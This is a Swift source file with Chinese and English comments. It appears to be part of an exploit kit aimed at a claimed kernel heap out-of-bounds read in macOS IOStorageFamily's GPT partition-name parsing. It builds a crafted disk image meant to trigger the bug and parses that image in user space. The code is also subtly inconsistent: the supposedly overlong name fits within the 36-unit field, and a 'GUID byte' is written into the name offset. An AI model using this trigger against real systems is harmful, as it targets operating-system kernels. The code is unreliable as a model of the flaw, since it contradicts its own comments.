// kext.gpt · IOStorageFamily · CVE-2026-112554
// 原语: OOB 读 · 内核 · tier 2
// Primitive: OOB read · kernel · tier 2
//
// [zh] GPT 分区名扫描 72 字节内核堆越界读
// 分区名扫描的边界常量由 0x48 收紧至 0x24。0x48 即 72 字节，而 GPT 条目内的名字域仅 36 个 UTF-16 单元；27.0 的扫描因此越过条目尾，读入相邻内核堆。
//
// [en] GPT partition name scan 72-byte kernel heap out-of-bounds read
// The partition name scan's bound constant tightens from 0x48 to 0x24. 0x48 is 72 bytes, while the
// name field inside a GPT entry is only 36 UTF-16 units, so the 27.0 scan runs past the entry tail
// and into adjacent kernel heap.
// ── 判别 / oracle ──
// 应用侧无法 attach 磁盘镜像，故本模块做两件事：构造会使 27.0 越界的镜像，并在用户态解析一遍以证明名字域确实在条目内被截断 —— 越界读发生在内核侧，不在用户态。

import Foundation

// 本地化直通 shim — app 内该函数经 RuntimeText 映射输出双语。
// identity localization shim — the app routes this through RuntimeText.
func tl(_ s: String) -> String { s }

// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
enum B {
    static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
    static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
    static func be32(_ v: UInt32) -> [UInt8] {
        [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
    }
    static func le32(_ v: UInt32) -> [UInt8] {
        [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
    }
    static func be64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
    }
    static func le64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
    }
    static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
    static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
    static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}

// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (GPTPayload) ──
enum GPTPayload {
static func describe(_ image: Data) -> [String] {
        var lines: [String] = []
        guard image.count >= 1024 else { return [tl("镜像过短")] }
        let sig = [UInt8](image[512..<520])
        guard sig.starts(with: [0x45, 0x46, 0x49, 0x20, 0x50, 0x41, 0x52, 0x54]) else {
            return [tl("无 GPT 签名")]
        }
        let entryLBA = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 72, as: UInt64.self) }
        let entryCount = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 80, as: UInt32.self) }
        let entrySize = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 84, as: UInt32.self) }
        lines.append(tl("GPT 头: 条目表 LBA ") + "\(entryLBA)" + tl(" · ") + "\(entryCount)" + tl(" 项 · 每项 ") + "\(entrySize)" + tl(" B"))
        let base = Int(entryLBA) * 512
        for i in 0..<Int(entryCount) {
            let off = base + i * Int(entrySize)
            guard off + 128 <= image.count else { break }
            var units: [UInt16] = []
            for k in 0..<36 {
                let lo = UInt16(image[off + 56 + k * 2])
                let hi = UInt16(image[off + 56 + k * 2 + 1])
                let unit = lo | (hi << 8)
                if unit == 0 { break }
                units.append(unit)
            }
            let name = String(decoding: units, as: UTF16.self)
            if !name.isEmpty { lines.append(tl("  分区 ") + "\(i)" + tl(": ") + "\(name)") }
        }
        return lines
    }

static func oversizedName(entryCount: Int = 4) -> Data {
        let sector = 512
        var out = Data()

        // protective MBR
        var mbr = [UInt8](repeating: 0, count: sector)
        mbr[446 + 4] = 0xEE
        mbr[446 + 5] = 0xFF; mbr[446 + 6] = 0xFF; mbr[446 + 7] = 0xFF
        mbr[446 + 8] = 0x01
        let totalSectors: UInt32 = 34
        mbr[446 + 12] = UInt8(totalSectors & 0xff)
        mbr[446 + 13] = UInt8((totalSectors >> 8) & 0xff)
        mbr[446 + 14] = UInt8((totalSectors >> 16) & 0xff)
        mbr[446 + 15] = UInt8((totalSectors >> 24) & 0xff)
        mbr[510] = 0x55; mbr[511] = 0xAA
        out.append(contentsOf: mbr)

        // primary GPT header
        var hdr = [UInt8](repeating: 0, count: sector)
        hdr[0] = 0x45; hdr[1] = 0x46; hdr[2] = 0x49; hdr[3] = 0x20
        hdr[4] = 0x50; hdr[5] = 0x41; hdr[6] = 0x52; hdr[7] = 0x54
        hdr[8] = 0x00; hdr[9] = 0x00; hdr[10] = 0x01; hdr[11] = 0x00
        let headerSize: UInt32 = 92
        hdr[12] = UInt8(headerSize & 0xff); hdr[13] = 0
        hdr[24] = 2                                    // my LBA
        hdr[32] = 33                                   // alternate LBA
        hdr[40] = 2                                    // first usable
        hdr[48] = 32                                   // last usable
        hdr[72] = 2                                    // entry array LBA
        let entries: UInt32 = UInt32(entryCount)
        hdr[80] = UInt8(entries & 0xff)
        hdr[84] = 128                                  // entry size
        out.append(contentsOf: hdr)

        // partition entries
        var array = Data()
        for i in 0..<entryCount {
            var entry = [UInt8](repeating: 0, count: 128)
            entry[0] = 0xA2; entry[1] = 0xA0; entry[2] = 0xD0; entry[3] = 0xEB
            entry[56] = UInt8(i + 1)                   // unique partition GUID byte
            // name field at +56..+128 is 36 UTF-16 code units; declare a long run
            let name = Array("CINDER27-OVERLONG-PARTITION-NAME".utf16)
            for (k, unit) in name.enumerated() where 56 + k * 2 + 1 < 128 {
                entry[56 + k * 2] = UInt8(unit & 0xff)
                entry[56 + k * 2 + 1] = UInt8((unit >> 8) & 0xff)
            }
            array.append(contentsOf: entry)
        }
        out.append(array)
        while out.count % sector != 0 { out.append(0) }
        return out
    }

}